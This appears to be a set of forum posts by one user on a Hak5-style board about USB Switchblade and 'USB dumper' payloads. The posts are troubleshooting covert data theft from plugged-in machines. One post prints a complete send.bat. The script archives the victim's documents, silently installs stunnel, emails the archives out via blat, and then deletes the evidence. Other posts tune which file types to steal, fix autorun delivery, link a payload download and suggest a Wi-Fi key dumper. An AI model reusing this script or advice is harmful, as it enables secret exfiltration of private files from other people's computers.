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  1. This line of code works. But if you know how to do that I'd really like to know how. But I don't know how to mod the sbs code.
  2. Is there anyway to exclude certain file types or only allow certain file types? Because i don't want to uload video files at all. They take up way too much space. Would I have to tweak the raring program command line in the send? or is it a usb dumper mod? I found this in the RAR Manual. -x<f> Exclude specified file <f>, wildcards may be used both in the name and file parts of file mask. You may specify the switch '-x' several times. If mask contains wildcards, it applies to current directory and its subdirectories. It is not recursive without wildcards, so if you wish to exclude some "filename" in all directories, you need to specify two masks: "filename" for current directory and "*filename" for subdirectories. If you know an exact path to file, you can use "pathfilename" syntax to exclude only this copy of "filename". If you use -xpathfilename syntax when unpacking an archive, "path" must be a path inside of archive, not a file path on the disk after unpacking. Examples: 1) rar a -r -x*.bak -x*.rar rawfiles *.bak and *.rar files will not be added to rawfiles 2) rar a -r -x*temp -x*temp* savec c:* compress all files on the disk c: except temp directories and files inside of temp directories 3) rar x -x*.txt docs extract all files except *.txt from docs.rar -x@<lf> Exclude files using the specified list file. If you use -x@ without the list file name parameter, it will read file names from stdin. Example: rar a -x@exlist.txt arch *.exe Does anyone know which would be a better choice to use? Would this line work? rar a -x*.wmv -x*.avi -x*.mpeg -x*.mpg -x*.asf -x*.mov -x*.vob goodies.rar .docs -v8192k -vn
  3. http://www.hak5.org/releases/2x02/switchbl...1.0-payload.rar
  4. Is there anyway to exclude certain file types or only allow certain file types? Because i don't want to uload video files at all. They take up way too much space. Would I have to tweak the raring program command line in the send? or is it a usb dumper mod? EDIT: I found this in the RAR Manual. -x<f> Exclude specified file <f>, wildcards may be used both in the name and file parts of file mask. You may specify the switch '-x' several times. If mask contains wildcards, it applies to current directory and its subdirectories. It is not recursive without wildcards, so if you wish to exclude some "filename" in all directories, you need to specify two masks: "filename" for current directory and "*filename" for subdirectories. If you know an exact path to file, you can use "pathfilename" syntax to exclude only this copy of "filename". If you use -xpathfilename syntax when unpacking an archive, "path" must be a path inside of archive, not a file path on the disk after unpacking. Examples: 1) rar a -r -x*.bak -x*.rar rawfiles *.bak and *.rar files will not be added to rawfiles 2) rar a -r -x*temp -x*temp* savec c:* compress all files on the disk c: except temp directories and files inside of temp directories 3) rar x -x*.txt docs extract all files except *.txt from docs.rar -x@<lf> Exclude files using the specified list file. If you use -x@ without the list file name parameter, it will read file names from stdin. Example: rar a -x@exlist.txt arch *.exe Does anyone know which would be a better choice to use?
  5. WOw. Haha. I wonder if they just ripped off a payload from here or not? BUt it seems to give you a little bit more control than our payloads here.
  6. Why is signal strenght important. Its rather useless because there are alot of things that affect signal strenght and if you have a laptop you can either drive or walk closer to the signal if need be.
  7. xFilthyxJesusx

    wzcook

    Oh course no problem :-)
  8. xFilthyxJesusx

    wzcook

    why not use this http://www.nirsoft.net/utils/wireless_key.html
  9. That would be awesome if someone could do this... And what does this U# hacked version offer?
  10. So how are you guys able to edit and compile the .vbs and .vbe files?
  11. so gmail is spelt wrong for one. And there is supposed to be a space in between email to and email from/
  12. I for some reason cannt get the files to send to me. It will rar them but it will not send to my email or will not send from the email. IE: I check the senders sent box nothing. I check the recipents box, nothing. :: Configure Email Options SET emailfrom= SET emailto= SET password= SET subject= %computername%_ip :: Archive documents in 8MB chunks rar a goodies.rar .docs -v8192k -vn stunnel-4.11.exe -install -quiet net start stunnel GOTO sendfiles :cleanup :: Stop stunnel rem taskkill /f /im stunnel-4.11.exe (??) net stop stunnel stunnel-4.11.exe -uninstall -quiet :: Delete documents rmdir /s /q docs :: Delete archive del /q /f goodies*.* GOTO end :sendfiles for %%i in (goodies.r*) do blat.exe %%i -base64 -to %emailto% -u %emailfrom% -pw %password% -f %emailfrom% -s %subject% -server 127.0.0.1:1099 GOTO cleanup :end exit Well thats the send.bat file I'm using. In the email from I have a 20 character address. and the email to is 22 characters long. Is there maybe a size limitation. I also added @gmail.com to the entries. are you not supposed to do that either?
  13. You need to fix the autorun for the non U3 drives As well as route the batch files and cmd files correctly. Because they arent.
  14. I have explorer set to view system files and hidden files. Thats not it.
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